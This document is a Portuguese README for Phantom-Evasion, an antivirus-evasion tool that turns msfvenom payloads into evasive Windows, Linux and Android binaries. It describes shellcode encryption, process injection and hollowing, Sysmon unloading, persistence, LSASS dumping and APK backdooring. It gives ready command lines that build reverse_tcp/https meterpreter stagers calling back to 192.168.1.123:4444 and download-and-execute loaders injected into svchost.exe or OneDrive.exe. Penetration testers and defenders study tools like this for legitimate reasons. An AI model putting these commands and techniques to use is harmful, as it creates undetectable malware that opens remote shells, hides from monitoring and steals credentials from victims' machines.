
Ferramenta de evasão de antivírus baseada em Python que gera executáveis indetectáveis a partir de payloads do msfvenom com técnicas avançadas como injeção de junkcode, criptografia, falsificação de certificados e múltiplos métodos de execução.
Phantom-Evasion é uma ferramenta de evasão antivírus escrita em python (compatível tanto com python quanto com python3) capaz de gerar executáveis (quase) totalmente indetectáveis, mesmo com os payloads x86 msfvenom mais comuns.
Os seguintes sistemas operacionais suportam oficialmente a configuração automática:
Os seguintes sistemas operacionais provavelmente suportam a configuração automática, mas exigem instalação manual do metasploit-framework:
Os seguintes sistemas operacionais exigem configuração manual:
Simplesmente faça git clone ou baixe e descompacte a pasta Phantom-Evasion
Configuração automática, abra um terminal e execute:
python3 phantom-evasion.py --setup
ou:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
ou inicie o phantom-evasion no modo interativo e selecione a opção 7
python3 phantom-evasion.py
ou:
./phantom-evasion.py
python3 phantom-evasion.py --help
ou:
./phantom-evasion.py --help
Cada módulo C de payload Windows pode ser compilado (suporta tanto x86 quanto x64) como EXE ou DLL/ReflectiveDLL.
Injeção aleatória de junkcode (intensidade, frequência e probabilidade de reinjeção podem ser definidas) e técnicas de evasão de antivírus do Windows (frequência pode ser definida).
Criptografia de shellcode/arquivo Multibyte Xor/Vigenere suportada nos módulos de injeção de shellcode e Download Exec.
Suporta técnica Ntdll unhookapi e masquerading de processo Peb.
Ampla gama de modos de execução suportados (local e remoto).
Ampla gama de modos de alocação de memória de payload (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
O carregamento dinâmico de APIs do Windows pode ser definido.
Spoofer e assinante de certificado suportados.
Strip executável (https://en.wikipedia.org/wiki/Strip_(Unix))
Payloads Windows do msfvenom e shellcode personalizado suportados. O shellcode pode ser armazenado como recurso e recuperado em tempo de execução com a API FindResource.
Criptografia de shellcode suportada:
1. nenhum
2. Multibyte-Xor
3. Double-key Multibyte-Xor
4. Vigenere
5. Double-key Vigenere
O método de execução local pode ser um dos seguintes:
Thread
APC
O modo de alocação de memória local pode ser um dos seguintes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
O método de execução remota pode ser um dos seguintes:
ThreadExecutionHijack (abreviado como TEH)
Processinject (abreviado como PI)
APCSpray (abreviado como APCS)
EarlyBird (abreviado como EB)
EntryPointHijack (abreviado como EPH)
O modo de alocação de memória remota pode ser um dos seguintes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Módulos stager meterpreter C puro (TCP/HTTP/HTTPS) compatíveis com msfconsole e cobalt strike beacon. (reverse_tcp/reverse_http/reverse_https)
Usando o modo cmdline:
reverse_tcp c stager é WRT
reverse_http c stager é WRH
reverse_https c stager é WRS
O método de execução local pode ser um dos seguintes:
Thread
APC
O modo de alocação de memória local pode ser um dos seguintes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Baixar exe/dll da url fornecida na memória e executar/carregar em um processo remoto (sem escrever no disco).
Download de EXE/DLL criptografados suportados:
1. nenhum
2. Multibyte-Xor
3. Double-key Multibyte-Xor
4. Vigenere
5. Double-key Vigenere
A DLL/EXE criptografada será salva como nomeoriginal + "crypt" + ".dll" ou ".exe" – este é o que deve ser baixado
Windows DownloadExecExe NoDiskWrite (WDE usando modo cmdline):
O método de execução remota pode ser um dos seguintes:
ProcessHollowing (abreviado como PH)
Windows DownloadExecDll NoDiskWrite (WDD usando modo cmdline):
O método de carregamento remoto pode ser um dos seguintes:
ReflectiveDll (abreviado como RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abreviado como MM) ---> apenas x86
Payloads Linux do msfvenom e shellcodes personalizados suportados.
Android Msfvenom Obfuscate Backdoor:
Ofuscar payloads msfvenom e reconstruir (smali/baksmali) com apktool. O payload ofuscado pode ser usado para backdoor em arquivos apk benignos.
Windows Persistence RegCreateKeyExW Add Registry Key (C) O executável compilado precisa ser enviado para a máquina alvo e executado especificando o caminho completo do arquivo a ser adicionado à inicialização como argumento.
Windows Persistence REG Add Registry Key (CMD) Este módulo gera payloads de linha de comando de persistência (Adicionar chave de registro via REG.exe).
Windows Persistence Keep Process Alive (C) O executável compilado precisa ser enviado para a máquina alvo e executado. Usa CreateToolSnapshoot, ProcessFirst e ProcessNext para verificar se o processo especificado está ativo a cada X segundos (se não, cria um novo processo usando a API WinExec).
Windows Persistence Schtasks (CMD)
Este módulo gera payloads de linha de comando de persistência (usando Schtasks.exe).
Windows Persistence Create Service (CMD)
Este módulo gera payloads de linha de comando de persistência (usando sc.exe).
Windows DuplicateTokenEx (C)
Cria um novo processo com um token clonado de outro processo. O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows Unload Sysmon (C) Descarrega o driver sysmon, fazendo com que o sistema pare de registrar logs de eventos do sysmon. O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows Unload Sysmon (CMD) Descarrega o driver sysmon, fazendo com que o sistema pare de registrar logs de eventos do sysmon.
Windows Attrib hide file (CMD) Usa attrib para ocultar arquivo
Windows SetFileAttribute hidden (C) Oculta arquivo usando a API SetFileAttribute O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows DumpLsass (C) Despeja Lsass usando a API MiniWriteDumpWrite. O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows DumpLsass (CMD)
Despeja Lsass a partir da linha de comando.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf